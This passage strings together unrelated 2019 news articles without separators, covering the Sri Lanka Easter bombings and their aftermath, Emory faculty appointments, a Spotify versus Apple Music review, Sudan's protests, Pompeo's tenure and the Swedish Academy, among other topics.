conservative party's candidates, for instance, questioned the necessity of women giving their direct consent before having sex. That generated controversy in a country which slammed judges for convicting five men accused of gang-raping a teenager in 2016 of sexual abuse, rather than rape, of the victim. Two new chairs in the basic sciences in Emory School of Medicine are the result of an effort to promote and support collaborative research among fundamental scientists across the university through the One Emory framework. Eric J. Sundberg, PhD, was recently recruited from the University of Maryland School of Medicine to head the Department of Biochemistry, effective September 1, 2019. His recruitment was jointly sponsored by School of Medicine Dean Vikas Sukhatme, Provost Dwight A. McBride, Executive Vice President for Health Affairs Jonathan Lewin, and Senior Vice President for Research Deborah Bruner. Gari D. Clifford, DPhil, recently was appointed chair of the Department of Biomedical Informatics after serving as interim chair since 2016. We are confident that both of these leaders in fundamental sciences will contribute to the growing collaborative culture in the basic sciences at Emory, says Vikas Sukhatme, MD, ScD, dean of Emory School of Medicine. Through their proven leadership, they not only will grow research within their own departments but they have the expertise to identify and guide priority research areas that will enhance and sustain Emorys research enterprise for the future. Throughout his career, Eric Sundberg has focused his work on the structural biology of infection and immunity, including using molecular biophysics and protein engineering to define the molecular bases of infectious diseases and to develop novel protein therapeutics. He currently serves as professor of medicine and co-director of the Basic Science Division in the Institute of Human Virology at the University of Maryland School of Medicine, with a secondary appointment in the Department of Microbiology and Immunology. After graduating with bachelors degrees in biochemistry and economics from the University of Rochester, Sundberg earned his PhD in biological sciences at Northwestern University. He joined the University of Maryland Biotechnology Institute as a postdoctoral fellow in 1999 and transitioned to a research faculty member in 2002. In 2004, he started his independent research program at the Boston Biomedical Research Institute before returning to Maryland in 2011 as an associate professor. As interim chair of biomedical informatics, Gari Clifford has successfully expanded the extramural funding portfolio and spearheaded innovative partnership initiatives with Emory Healthcare, Georgia Tech and industry partners. He also is associate professor of biomedical engineering in the Coulter Department of Biomedical Engineering at Georgia Tech and Emory. Clifford joined Emory and Georgia Tech in 2014, and he has continued to grow an international reputation in critical care data analysis and the application of signal processing and machine learning to medicine. After completing his PhD at the University of Oxford, he was a postdoctoral fellow, then principal research scientist at MIT. He later returned to Oxford as an associate professor of biomedical engineering, where he helped found its Sleep and Circadian Neuroscience Institute and served as director of the Centre for Doctoral Training in Healthcare Innovation at the Oxford Institute of Biomedical Engineering. Clifford has established Emorys biomedical informatics department as a leading center for critical care and mHealth informatics, underpinning the mobile data analytics for several research projects at Emory and across the world, including the Emory Healthy Aging Study. Sri Lanka's Catholic leader said Friday he felt "betrayed" by the government's failure to act on warnings that could have prevented the Easter bombings, adding that services would not resume until security could be guaranteed. The government has admitted major lapses over the foreign intelligence warning that radical Islamist group National Thowheeth Jama'ath (NTJ) was planning suicide bombings on churches. On April 11, Sri Lanka's police chief issued an alert based on the intelligence. Neither the prime minister nor other top ministers were among the recipients. At least 253 people died when attackers blew themselves up at three churches, including two Catholic ones, and three hotels in coordinated blasts. Cardinal Malcolm Ranjith, the archbishop of Colombo, said the island's Catholic church had also not been informed about a possible attack. "I felt betrayed a little bit. I felt sad," he told reporters, when asked about the warnings. "It's a very serious lapse on the part of the security agencies that they didn't tell us about it," the archbishop added. He said he had sought an explanation from government officials but received nothing. "They all say 'I didn't know about it. Everybody is passing the baby," Ranjith added. Late Friday Sri Lankan Prime Minister Ranil Wickremesinghe apologised for failing to prevent the bombings. "We take collective responsibility and apologise to our fellow citizens for our failure to protect victims of these tragic events," Wickremesinghe wrote on Twitter. "We pledge to rebuild our churches, revive our economy, and take all measures to prevent terrorism, with the support of the international community," he added. Analysts have said that long-running wrangling between Wickremesinghe and President Maithripala Sirisena contributed to the failure to share intelligence. The government blames the NTJ for the attacks and has warned that Islamist extremists could be plotting further blasts. Story continues Sri Lanka is under a state of emergency. At least 74 people are in custody but security forces are hunting more Islamic State (IS) supporters. IS has claimed it was involved, without providing clear evidence. "Due to the ongoing security situation and continuing threats... we have stopped all Sunday masses until further notice," Ranjith said. He added that people should "stay indoors and do their prayers" and that only once the security situation had returned to normal would small services start to resume before gradually growing in size. (Refiles to change dateline to COLOMBO from SYDNEY) COLOMBO, April 26 (Reuters) - Muslims in Sri Lanka were urged to pray at home on Friday and not attend mosques or churches after the State Intelligence Services warned of possible car bomb attacks, amid fears of retaliatory violence for the Easter Sunday bombings. The U.S. embassy in Sri Lanka also urged its citizens to avoid places of worship over the coming weekend after authorities reported there could be more attacks targeting religious centers. Sri Lanka remains on edge after suicide bombing attacks on three churches and four hotels that killed 253 people and wounded about 500. The attacks have been claimed by the extremist Islamic State group. Nearly 10,000 soldiers are being deployed across the Indian Ocean island state to carry out searches and provide security for religious centers, the military said on Friday. Fears of retaliatory sectarian violence has already caused Muslim communities flee their homes amid bomb scares, lockdowns and security sweeps. The All Ceylon Jamiyathul Ullama, Sri Lanka's main Islamic religious body, urged Muslims to conduct prayers at home on Friday in case "there is a need to protect family and properties." Cardinal Malcolm Ranjith also appealed to priests not to conduct mass at churches until further notice. "Security is important," he said. Police have detained least 76 people, including foreigners from Syria and Egypt, in their investigations so far. Islamic State provided no evidence to back its claim that it was behind the attacks. If true, it would be one of the worst attacks carried out by the group outside Iraq and Syria. Islamic State released a video on Tuesday showing eight men, all but one with their faces covered, standing under a black Islamic State flag and declaring their loyalty to its leader, Abu Bakr Al-Baghdadi. The Sri Lankan government said there were nine homegrown, well-educated suicide bombers, eight of whom had been identified. One was a woman. Story continues Authorities have focused their investigations on international links to two domestic Islamist groups - National Thawheed Jama'ut and Jammiyathul Millathu Ibrahim - they believe carried out the attacks. Government officials have acknowledged a major lapse in not widely sharing an intelligence warning from India before the attacks. Defense Secretary Hemasiri Fernando resigned over the failure to prevent the attacks. The Easter Sunday bombings shattered the relative calm that had existed in Buddhist-majority Sri Lanka since a civil war against mostly Hindu ethnic Tamil separatists ended 10 years ago. Sri Lanka's 22 million people include minority Christians, Muslims and Hindus. Until now, Christians had largely managed to avoid the worst of the island's conflict and communal tensions. Most of the victims were Sri Lankans, although authorities said at least 38 foreigners were also killed, many of them tourists sitting down to breakfast at top-end hotels when the bombers struck. They included British, U.S., Australian, Turkish, Indian, Chinese, Danish, Dutch and Portuguese nationals. Britain warned its nationals on Thursday to avoid Sri Lanka unless it was absolutely necessary because there could be more attacks. (Reporting by Sanjeev Miglani Writing by Michael Perry Editing by Paul Tait) Armed police and sniffer dogs guarded mosques in Sri Lanka as Muslims trickled to Friday prayers, with many staying away over fears of revenge attacks after the island's Easter suicide blasts. Some mosques cancelled prayers, and Sri Lanka's Muslim affairs minister called on Muslims to pray at home instead, in solidarity with churches that have closed over security fears. Other Muslims have expressed fears that they could be targeted by Islamist hardliners, after the community's religious leadership said the attackers would not be buried at mosques in the country. Among mosques that did hold prayers on Friday in the capital Colombo, attendance was thin, with some worshippers saying they wanted to stand up to extremists. "We are sending a message to extremists that we will not be scared or deterred," said Reyyaz Salley, chairman of the Dawatagaha Jumma mosque. "But the main reason we are here is because we want to say a special prayer for the victims of the church bombings," he added. At least 253 people died when attackers blew themselves up at three churches and three hotels Sunday in coordinated blasts that officials blame on local Islamist group National Thowheeth Jama'ath. The Islamic State group has claimed the attacks. The bombings have been condemned by leaders of Sri Lanka's Muslim minority but some in the community still fear a backlash from other religious groups. Around two dozen police and other armed personnel guarded the Dawatagaha Jumma mosque, which has been threatened by hardline Islamists in the past because it contains a Sufi shrine, which extremists consider idolatrous. Police prevented people from walking or parking vehicles directly outside after rumours circulating on social media about possible car bomb attacks. Sniffer dogs stood guard as police checked bags and patted down worshippers and journalists before letting them inside. "We are not scared. We have to die one day and it can happen anywhere," a defiant Salley told AFP. Story continues Many had been put off, however. Salley said Friday prayers at the Dawatagaha Jumma mosque regularly attract up to 700 worshippers, but only around 100 turned up this week. Prayers were also cut short from the usual one hour to just 15 minutes because of the security situation, with the mosque's imam telling worshippers that the Prophet Mohammed would have condemned the attacks. After prayers around two dozen worshippers held up banners condemning the attacks and pledging solidarity with the Christian community. "Suicide has no place in Islam", read one. "Calling all political and religious leaders to unite and keep our motherland intact", said another. "This mosque is open for your Mass," read a third. Some 330 kilometres (205 miles) away in Muslim-majority Kattankudy on Sri Lanka's east coast, people turned out in greater numbers. More than 1,000 men and boys attended prayers at the town's main Mohiuddin Methaipali Jumma mosque. "The attacks were carried out by a small group of people but some people are blaming the whole Sri Lankan Muslim community for this. It is not fair," mosque official Mohammed Ramesh told AFP. "The people who did this are not human beings. All Sri Lankans must unite against this: Buddhists, Christians, Hindus and Muslims. "I have been praying five times a day for the Christian victims since the attacks happened," he added. Mohammed Farook Mohammed Shibly, 44, said he had been fasting from sunrise to sunset -- more than 13 hours a day -- in tribute to the victims. "It was very shocking for us... especially because churches were targeted," he said. "We strongly condemn this barbaric act." "The All Ceylon Jamiyyathul Ulama asked people to fast... to request Allah to make this country calm and peaceful again," he said, referring to a group of Muslim leaders. "I have been fasting for two days and I will continue fasting until the situation is normal. I can make this sacrifice." Produced by Mark Seman & Anthony Kane A member of the independent counsel team that recommended the impeachment of President Bill Clinton says that President Trumps attempts to obstruct justice are blunter by a thousandfold than anything Clinton did and more than justifies the House Judiciary Committee opening impeachment proceedings. In an interview with the Yahoo News podcast Skullduggery, Paul Rosenzweig, who served as a senior counsel to Ken Starr, said that a significant number of his former colleagues from the independent counsel office share his views although notably not Starr himself. My view is that theres ample reason right now for the House Judiciary Committee to begin an impeachment inquiry and if it were up to me, I would recommend them to impeach, said Rosenzweig. I mean, if I were called to testify today at the first of those hearings, I would say that Trumps obstruction of justice and frankly, more importantly, Trumps dereliction of duty in failing to address the issue of Russian interference in our electoral processes, are by themselves grounds for his impeachment. Add to that, his recalcitrance in responding to [special counsel Robert] Mueller and his stonewalling of congressional investigations and the case becomes much more compelling than that which attended the [impeachment] recommendation with respect to Clinton, Rosenzweig added. The views of Rosenzweig and others on Starrs team could be a factor in the debate as House Democrats weigh whether to formally initiate an impeachment inquiry into the president. The Starr reports referral to Congress in September 1998 outlined 11 possible grounds for impeachment of Clinton growing out of his attempts to conceal his sexual affair with former White House intern Monica Lewinsky. Five of the recommended articles accused Clinton of attempting to obstruct justice; a sixth asserted that he failed to fulfill his constitutional duty to faithfully execute the laws by, among other actions, invoking groundless executive privilege claims to try and prevent some of his aides from testifying. Story continues It is a pattern of conduct that, as Rosenzweig sees it, has been repeated in spades by Trump. The Starr referral cited as evidence of obstruction Clintons refusal to be questioned by Starrs prosecutors for seven months thereby delaying the Lewinsky investigation until the independent counsel threatened the president with a subpoena. Trump refused to be questioned by Mueller at all, agreeing only to answer written questions relating to issues that arose during the 2016 campaign, but none at all relating to his conduct as president. After reviewing those responses, Muellers team found them inadequate and sought to follow up with additional questions a request that Trump refused. Another of the potential articles of impeachment Starr referred to Congress cited, as evidence of obstruction, Clintons lies to his staff denying any relationship with Lewinsky, contending that those lies were then repeated by those aides to the grand jury and the public. But Mueller found that Trump did more than that: He directed aides, former deputy national security adviser K.T. McFarland and former White House counsel Don McGahn, to write false memos that could be used to mislead investigators. Rosenzweig noted that, at the time, he viewed one of the more serious abuses by Clinton his questioning of his secretary, Betty Currie, the day after he denied having sexual relations with Lewinsky during his civil deposition in the Paula Jones sexual harassment lawsuit. Calling her to the White House on a Sunday, Clinton asked Currie a series of leading questions intended to bolster his denial of a relationship with Lewinsky and potentially shape her testimony, making comments to her along the lines of you could see and hear everything when he met with Lewinsky and we were never really alone. These comments, Rosenzweig said, amounted to one of the most palpably aggressive efforts to control the narrative, tamper with witnesses, create a false impression for the American people and a false impression for the investigation, Rosenzweig said. But, he added, Trumps efforts are blunter by a thousandfold. He doesnt even have the sophistication and subtlety of Bill Clinton. Bill Clinton and Donald Trump. (Yahoo News photo illustration; photos: AP, Getty Images) Download or subscribe on iTunes: Skullduggery from Yahoo News Rosenzweig pointed to Trumps directive to McGahn to fire Mueller an order that, according to Mueller, McGahn refused to carry out, fearing a repeat of the infamous Saturday Night Massacre in which special prosecutor Archibald Cox was fired on President Richard Nixons orders after the two top Justice Department officials resigned in protest. When the New York Times later broke the story of Trumps directive, the president, according to the Mueller report, called in McGahn and ordered him to write a memo denying that Trump ever gave such an order. But McGahn refused to do so. As Rosenzweig noted, Trump didnt just ask leading questions of McGahn intended to influence his testimony, as Clinton did with Currie. He didnt say to McGahn, I didnt really try to fire him, ask you to fire him, did I? Instead, Its, no. Create a false memo. Rosenzweig noted that, to be fair, the House didnt ultimately adopt many of the proposed obstruction of justice counts recommended by Starr. But, he said, Trumps more recent decision to invoke executive privilege over his conversations with McGahn to prevent him from testifying before the House Judiciary Committee on its own echoes the impeachment investigation into Nixon. Among the three articles of impeachment passed by the House Judiciary Committee in 1974 was one accusing him of contempt of Congress for failing to comply with duly authorized subpoenas from the panel. All of this, said Rosenzweig, has resonated with his former colleagues on Starrs staff who pushed for the impeachment of Clinton. Weve been talking, a number of us. I would say that there are a significant number of them who see Trump's activities as worse, he said. The most notable exception, of course, has been Starr himself who, after the Mueller report was released, praised Trump on Fox and Friends his unprecedented cooperation with Muellers probe. Calling Starr a long and good friend, Rosenzweig said, Im reluctant to criticize him and Im reluctant to say he sold out. I would say I dont agree with his analysis and I would love an opportunity to talk with him in some detail about how he could possibly reach a conclusion that seems to me quite fairly contrary to what he said 20 years ago. _____ Read more from Yahoo News: Consumer Reports has no financial relationship with advertisers on this site. Consumer Reports has no financial relationship with advertisers on this site. There are more than a dozen music streaming services vying for your attention. But the sharpest rivalry is probably that between Spotify and Apple Music, which together dominate the American market. Apple Music has overtaken Spotify in paid U.S. subscriptions, with 28 million accounts compared with Spotify's 26 million, according to recent reporting by The Wall Street Journal. But Spotify leads Apple globally, industry analysts say, and it probably has more American users in total when you factor in the companys free ad-supported tier. (The companies have a heated rivalry. Spotify, which is based in Sweden, accused Apple of anti-competitive business practices in a complaint filed with European regulators in March 2019.) For music lovers, the companies have a lot in common. Spotify and Apple Music offer an extensive library of songs on-demand for the exact same price. But there are differences that could help you decide which of the two big services deserve your business. What follows is a thorough look into the differences between the industrys leading players, including features, prices, and ease of use. You can find a broad overview of platforms from Pandora to Tidal in CRs guide to music streaming services. Subscription Packages Spotify and Apple Music offer nearly identical subscription packages. Both services cost $9.99 a month for individuals, $14.99 a month for families of up to six users, and $4.99 a month for students. The two also have free trial periods for new users. Spotify launched a partnership with the video-streaming service Hulu last year, and that gives the music service a slight edge when it comes to value. A promotion scheduled to last until June grants new Spotify subscribers free access to Hulus ad-supported plan. Unlike Apple Music, Spotify also offers a free ad-supported option. Free users can stream songs on demand using Spotifys desktop and web apps. Through the mobile app, free users can listen to playlists and stations, and stream a small, rotating selection of songs on-demand. Story continues The two services use different types of compression when transmitting music, but according to Elias Arias, Consumer Reports' project leader for audio testing, listeners are unlikely to hear a difference. Casual listeners will probably be happy with the sound quality of either service, Arias says. If youre a highly critical listener with top-notch equipment, you may want to try both to see which you prefer, or try a service that will stream uncompressed files, like Tidal. Catalog Like most major streaming services, Spotify and Apple Music grant users access to a large library of music. Apple Music says it has 50 million songs, and Spotify says it offers a selection of more than 35 million songs. Apple Musics catalog may be larger, but after spending weeks with the two services, I found both nearly always had what I was looking for. If your musical interests fall outside the mainstream, its worth taking both services for a trial run. Exclusive content and early releases from popular artists used to set Apple Music apart, but today both services have some material you wont find elsewhere. Spotify has also been investing heavily in podcasting and integrating podcasts into the core functions of the app. If you want to listen to music and podcasts using the same interface, Spotify will do that for you. On a phone, Apple Music users need to switch to a different app. Spotify promises that exclusive podcast content is coming in the future. Music Discovery The biggest difference between the two services may be their recommendation engines. Spotify is famous for its Discover Weekly playlists, an algorithmically tailored list of tracks based on your listening habits that gets refreshed every Monday. Apple offers a similar selection of new tracks in its For You tab, which is updated on Fridays. After spending a few months with each service, I thought Spotify did a better job and recommended a broader selection of tracks that seemed better tuned to my preferences. If finding new music is an important part of the experience you want out of a streaming service, Spotify may be the better choice. Both services offer a wide selection of playlists and stations based on artists, genres, and moods and scenarios, such as relaxing at home or getting pumped up for the gym. In this respect, the services seem to be on a par, but it seems easier to find a wider variety of playlists using Spotify. Sharing and Other Features Spotify's interface makes it easy to find friends, follow what theyre listening to, and share tracks and playlists. Apple Music has a lot of the same social features, but using them involves digging around in menus, and they're more complicated to set up. Both services provide settings that keep your listening more private if you prefer. There are small differences between the apps search tools. For instance, Apple Music has a harder time if your search includes a typo, which can be frustrating. However, Apple Music will let you search for tracks by typing in some lyrics instead of a song title, a handy feature that Spotify and other streaming services lack. Ease of Use In most ways, Spotify and Apple Musics mobile apps are easy to navigate and are well-designed, but Spotify has some advantages. Spotify shines is its ability to work seamlessly across devices. The desktop app is intuitive and pleasant to use. Using Spotify on your phone, you can control playback in the app on your computer and other devices. In comparison, Apple Musics desktop app is built into iTunes, which can be a bit clunky, particularly on a Windows computer. And you need to use Apples HomeKit to control the desktop app from your phone, even if you're using an iPhone and Macbook. Setup is a bit cumbersome. If you have a HomePod, Apples smart speaker, Apple Music is the only streaming service that you can control directly using your voicethough you can stream other music services using AirPlay. You can also control Apple Music using Alexa-powered devices. In contrast, Spotify is relatively agnostic, compatible with smart speakers made by Amazon, Google, Sony, Sonos, and more. Theres also no official way to listen to Apple Music through a web browser, though there are some third-party websites you can go to as a workaround. On the other hand, Apple Music has an advantage for users who have a library of their own music files that theyd like to listen to on the go. With Apple Music, users can sync files to the cloud and listen from other devices with a feature called iCloud Music Library. You cant upload music to Spotifys servers and listen to it elsewhere. And last, fans of the night mode feature popping up in apps from Chrome to Facebook Messenger may prefer the darker Spotify interface over Apples pink-on-white color scheme. Bottom Line The differences between Apple Music and Spotify probably arent significant enough to warrant a switch if youve already been using one of the two services and you have playlists and a history of saved tracks you dont want to leave behind. In most respects, Apple Music works just as well as Spotify. It has a few perks of its own, and its the obvious choice if youre already locked into the Apple ecosystem. But overall, I found Spotify to have a slight edge. It often works better on non-Apple devices and at least as well on Apple productsexcluding the HomePod smart speaker. For people who want a service that transitions seamlessly among devices, operates as a hub for music and podcasts, and consistently serves up fresh recommendations for tunes, Spotify may be the best bet. How to Listen Whichever service you choose, youll have a better time with your music if you play it on equipment that sounds great. Here are a few of the best-rated headphones and speakers from CRs ratings. More from Consumer Reports: Top pick tires for 2016 Best used cars for $25,000 and less 7 best mattresses for couples Consumer Reports is an independent, nonprofit organization that works side by side with consumers to create a fairer, safer, and healthier world. CR does not endorse products or services, and does not accept advertising. Copyright 2019, Consumer Reports, Inc. Khartoum (AFP) - Thousands of Sudanese protesters performed the weekly Muslim prayers outside army headquarters on Friday, a day after vast crowd of demonstrators flooded Khartoum to demand the military rulers cede power. Protesters have massed outside the army complex in central Khartoum since April 6, initially to demand the overthrow of longtime leader Omar al-Bashir. But since his ouster by the army on April 11, the protesters have kept up their sit-in, demanding that the military council that took over hand power to a civilian administration. Despite international support for the protesters, the 10-member council has so far resisted, although three of its members resigned on Wednesday under pressure from the street. The resignations triggered jubilation among the protesters, who massed in their tens of thousands on Thursday in response to a call from their leaders for a "million-strong" march. Despite the scorching heat, the protesters were back in numbers on Friday, an AFP correspondent reported. "Freedom, freedom," they chanted as prayer leader Sheikh Matter Younis delivered the sermon. "We will not retreat until we get our main demand of civilian rule," said Younis, an activist from Sudan's war-torn western region of Darfur. He also called for the "symbols" of the old regime to be punished. "They must face fair and transparent justice, they have to be held accountable," he said, as the protesters chanted "Blood for blood! We will not accept compensation!". - 'We are all Darfur' - Another Darfuri, Harun Adam, said his family lived in Kalma, one of the sprawling camps that are still home to hundreds of thousands of people who were driven from their homes by the Bashir government's brutal response to the ethnic minority rebellion which erupted in 2003. "I'm here since April 6," when the sit-in started, Adam told AFP. "I'm ready to stay here for a year until we get our main demand, which is a civilian government and that all those who committed crimes be held accountable." Story continues Behind him crowds chanted "One, two, three, four, we are all Darfur!" The military council, led by General Abdel Fattah al-Burhan, says it has assumed power for a two-year transitional period. Protest leaders have held several rounds of talks with the council and the two sides have agreed to set up a joint committee to chart the way forward but there has so far been no breakthrough. Washington has thrown its weight behind the protesters. State Department official Makila James said on Tuesday that Washington supports "the legitimate demand of the people of Sudan for a civilian-led government" and urged all parties to work together to that end. But at a summit hosted by Egyptian President Abdel Fattah al-Sisi on Tuesday, African leaders conceded that more time was needed for a transition to civilian rule. Their statement angered the protesters who held a rally outside the Egyptian embassy on Thursday. The African Union had taken a strong line setting an end of April deadline for the military council to hand power to civilians or face suspension from the 55-nation bloc. Zahran Hashim's sword-wielding zealotry fuelled fears in the sleepy east coast town of Kattankudy long before the cleric became Sri Lanka's most wanted man over the horrific Easter Sunday suicide attacks. The country's president announced Friday that Hashim led and died in the attack on the Shangri-La hotel in Colombo -- one of three hotels and three churches hit by bombers wearing explosive backpacks. The round-faced preacher headed the extremist Muslim group blamed for the bombings which left more than 250 dead. He featured in a video released by the Islamic State group when it claimed responsibility. Heavy security surrounded the main mosque in the Muslim-majority town of Kattankudy, where religious leaders say they sounded the alarm about Hashim years ago, beginning with his expulsion from a seminary during his teens. "It was the first time a student has been expelled for being a hardliner," said Mohammed Buhary Mohammed Fahim, a senior official at the Jamiathul Falah seminary who was a younger contemporary of Hashim's at the school. "When he arrived here at the age of 12, he was clearly very intelligent, very studious, and asked lots of questions. He was popular and sociable," Fahim told AFP. - 'Very violent people' - But things began to change as Hashim grew older, with Fahim blaming his exposure to books and CDs extolling a fundamentalist vision of Islam. "He basically went off-course... We teach moderate Islam here but he was a hardliner." When Hashim sought to influence his fellow students, parents complained to the seminary chiefs and the school asked him to leave. After a few years away he returned to Kattankudy, founded the National Thowheeth Jama'ath (NTJ) group, and worked with some former classmates to build a mosque where he could preach and share his rabble-rousing sermons. "He was a good orator... he would pick and choose words from the Koran and twist and misuse them", one official at a local mosque told AFP. He spoke on condition of anonymity, saying he was terrified of reprisals from Hashim's followers. Story continues "These are very violent people. If they know who I am, they can just shoot me in the street," he said. Hashim's violent streak attracted police attention three years ago when he brandished a sword during clashes with members of another Muslim organisation, the official said. But just as the net seemed to be closing in, he went into hiding with some followers, operating what appeared to be an NTJ breakaway group that was linked to vandalism attacks on Buddhist statues in Sri Lanka in December. - 'Big mistake' - According to Hilmy Ahamed, vice-president of the Muslim Council of Sri Lanka, Hashim shifted base to southern India. "All his videos have been uploaded from India. He uses boats of smugglers to travel back and forth from southern India," he told AFP. India warned Sri Lanka that suicide attacks were possible weeks before the bombers walked into three churches and three hotels on Easter Sunday. India's warning was based on videos and other Islamic State-influenced material seized from raids in southern Tamil Nadu state in 2018. At the largely deserted NTJ mosque in Kattankudy, adherents brushed off any suggestion of continuing ties with Hashim. "Because of Zahran the mosque has got a bad name now. We have had no contact with him for two years... We have no connection to him, he is not a member of the NTJ," said chief cleric Mohammed Yoousuf Mohammed Thoufeek. Thoufeek said he has been questioned by police several times since the attacks. Despite the link to Hashim, the mosque appeared to be functioning normally on Thursday evening, though only about a dozen worshippers attended prayers. "When the attacks happened, even we couldn't imagine that he would do something like this," said the unnamed mosque official. "The police made a big mistake. If they had arrested him in the beginning they could have stopped this. All this could have been avoided." By Elaine Lies and Kwiyeon Ha KAWASAKI, Japan, April 26 (Reuters) - Wherever Japan's royals go, there too goes Fumiko Shirataki: in summer heat and winter cold, to the ocean and to the mountains. Except when it snows or rains too hard. "You can't get good pictures then - and if the camera lens gets wet, it might get damaged. I really worry about that," said Shirataki, 78, who has spent the last 26 years following and photographing Emperor Akihito, Empress Michiko and especially Crown Princess Masako. "As soon as I know their plans I'll be there - though it's hard if I only find out the night before." she added. Shirataki's passion for "okkake," as the pursuit is known in Japan, began in 1993, when she followed then-Masako Owada after her engagement to Crown Prince Naruhito but couldn't get good photos. "I wasn't used to carrying such a heavy camera, so I'd shoot the tires, or the back seat, or the driver," Shirataki said in the kitchen of her home in Kawasaki, near Tokyo, decorated with a photo of Masako and an Imperial Family calendar. But now she has honed her skills, and her house is filled with a huge number of photos. "Uncountable," she said. "After all, it's been 26 years." Shirataki won't reveal how she and her fan friends figure out the royal schedules. But once she has the details, she loads a backpack, takes a collapsible chair and a rice ball to eat, and heads out. "They know our faces by now, so when we raise the cameras I guess they think 'here they are' and they face towards us and wave," said Shirataki, who always wears sneakers and trousers for ease of movement while she's on the hunt. Shirataki and her fellow chasers, nearly all of whom are female, say their main focus is the royal women and their clothes. Because of time constraints - she works part time at a car dealership - she concentrates on the empress and empress-to-be. Story continues "When my husband was still alive and earning, I'd spend five or six days a week at this, but now I have to work," she said. The photo in the Buddhist altar for her husband, who died two years ago, is smaller than a picture of Masako displayed nearby. Though she's cagey about how much her hobby costs, she spends at least 50,000 yen ($447) annually just on photos. Shirataki says Masako is her favorite and has even appeared in her dreams. But Shirataki worries how she will fare as empress after the stress-related illness that kept her out of the public eye for many years. "There could be a lot of times where Masako won't go with the emperor," she said. "If it's just him, we won't go. Her alone? Yes." Shirataki may already have reached the pinnacle of okkake success: this year, she shook hands with the empress. "I've talked with them briefly before but that's the only time I'd ever been able to put out my hand ... I didn't realize I would do it," Shirataki said. "When I asked, she just said, in a small voice, 'If my hand is okay,'" she added. "And then I did." ($1 = 111.9400 yen) (Additional reporting by Issei Kato; Editing by Gerry Doyle) Washington (AFP) - Brusque and resolute in public, US Secretary of State Mike Pompeo has succeeded in a task of utmost delicacy -- pleasing President Donald Trump, even while being forced to mollify America's often perturbed allies. Pompeo took office on April 26 last year, immediately flying off to Europe and the Middle East as he vowed to give the State Department back its "swagger" after his hapless predecessor Rex Tillerson. A full year on the job is no small milestone in the Trump administration, with the mogul turned president notoriously falling out with much of his original team -- so much that Trump has since ridiculed Tillerson on Twitter as "dumb as a rock." Pompeo, who had first been CIA director, has been the rare Trump official to stay consistently in his good graces, loyally defending his capricious boss's every decision both to the cameras and startled allies, even after advocating other approaches internally. While occasionally curt with reporters, more than once denouncing unwelcome questions as "ridiculous," the 55-year-old former soldier and lawyer possesses an intellectual self-confidence that has kept him at the forefront and helped him build his own political capital as the Trump administration shifts US foreign policy sharply to the right. An evangelical Christian, Pompeo has frequently highlighted his faith, starting a major speech on the Middle East in Cairo by explaining how he keeps the Bible open on his desk "to remind me of God and His Word and The Truth." And in a comment that drew wide attention, Pompeo, asked by an evangelical television network if Trump had been sent by God to defend Israel, said: "As a Christian, I certainly believe that's possible." - 'Secretary for Iran and North Korea' - Every US secretary of state identifies priorities, but for Pompeo the focus has been especially stark, with some diplomats dubbing him the "secretary for Iran and North Korea." Story continues Pompeo flew four times to Pyongyang last year, turning once-soaring tensions into a diplomatic opening that saw two landmark summits between Trump and the authoritarian state's young leader Kim Jong Un. There is no such outreach to Iran. Days after Pompeo took office, Trump pulled out of an international deal negotiated by his predecessor, Barack Obama, under which Iran substantially scaled back its nuclear program in return for promises of sanctions relief. Pompeo laid out 12 demands which Iran was certain to reject and has steadily ramped up pressure, most recently demanding that all countries stop buying Iranian oil or risk sanctions themselves. Neither policy has guaranteed success. North Korea last week called Pompeo "reckless" and demanded he be excluded from future talks after he apparently encouraged Trump, who has a professed sweet spot for Kim, to hold firm before a comprehensive agreement. On Iran, Pompeo has hailed the country's deep economic pain but the clerical regime shows no signs of budging, with even moderates increasingly questioning why Tehran negotiated with Washington. Other Western powers still back the accord and a European diplomat, speaking on condition of anonymity, said he had never seen trans-Atlantic relations so poor, even in the runup to the Iraq invasion. "I think there is obviously the wish to put Iran to default, to make sure Iran will violate its nuclear commitment and then say to the world, 'Iran is a threat!'" the diplomat said. "It's a rather cynical plan and an irresponsible plan." - Partisan roots - Despite his elite education at West Point and Harvard Law, Pompeo emerged from obscurity as a businessman in Kansas when he was elected to Congress in the right-wing Tea Party wave of 2010. In Washington, he ferociously attacked an earlier secretary of state, Hillary Clinton, for not preventing a deadly attack by Islamist extremists on the US consulate in Benghazi. His outspokenness put him on the conservative media circuit and brought him to the attention of Trump. But he has also become perhaps the most partisan and polarizing secretary of state in recent memory, with Pompeo openly deriding Obama in speeches and Democrats eager to hit back over what they saw as disrespectful treatment of Clinton. Pompeo has nonetheless tried to woo the State Department, lifting a hiring freeze by Tillerson that had disheartened diplomats. Brett Bruen, a former US diplomat who served as director of global engagement in the Obama White House, said that Pompeo's promises initially boosted morale. But while Tillerson tried to put a positive spin on Trump's unpopular policies, Pompeo "just parades them out with the gusto and glee of a drill sergeant," said Bruen, now president of the Global Situation Room consulting firm. "He came in with talk of restoring State to its rightful place. Many of those promises have been revealed to be more swagger than substance," Bruen said. Pompeo's frequent interviews and travels back to Kansas have fueled speculation he will return either to run for senator next year or governor in 2022 -- and maybe lay the groundwork for a presidential run in 2024. Asked recently in Kansas how long Trump will keep him on, Pompeo replied with a rare moment of levity: "I'm going to be there until he tweets me out of office." Stockholm (AFP) - The Swedish Academy, which awards the Nobel Literature Prize, said Friday it had named a literature professor as its new permanent secretary, after a #MeToo scandal in late 2017 threw the institution into turmoil. Mats Malm is a professor of literary theory at the University of Gothenburg. "I am very happy to be given this trust and look forward to the honourable commission as permanent secretary," he said. Malm, 54, only joined the Academy four months ago. He takes over from Anders Olsson, who has been serving as head of the Academy since June 2018 after the previous secretary, Sara Danius, was forced to step down amid a scandal sparked by Frenchman Jean-Claude Arnault, an influential figure on Stockholm's cultural scene. Arnault, who is married to a then-member of the Academy who later resigned, was accused and later convicted of rape. The 18-member Academy was split on how to handle its ties to Arnault. Ugly public disputes ensued, several members quit, and the body was in such disarray that it ended up postponing the 2018 Nobel Literature Prize for the first time in 70 years. The Academy has said it plans to announce the winner of the 2018 award together with this year's winner. DAMASCUS, Syria (AP) Syria's ambassador to the United Nations on Friday accused the United State and the European Union of practicing "economic terrorism" against his country by imposing what he described as illegitimate and unilateral sanctions. Bashar Ja'afari made his comments in the Kazakh capital of Nur-Sultan, where Russia, Turkey and Iran held a new round of talks with the Syrian government and the opposition on steps to bring peace to the country. Last month, Kazakhstan renamed its capital from Astana to Nur-Sultan, in honor of the country's longtime leader who resigned the week before. It is the 12th round of talks in Nur-Sultan bringing together the major stakeholders on opposing sides of the Syrian civil war, in the hopes of nudging it toward a resolution. But at the end of the two-day 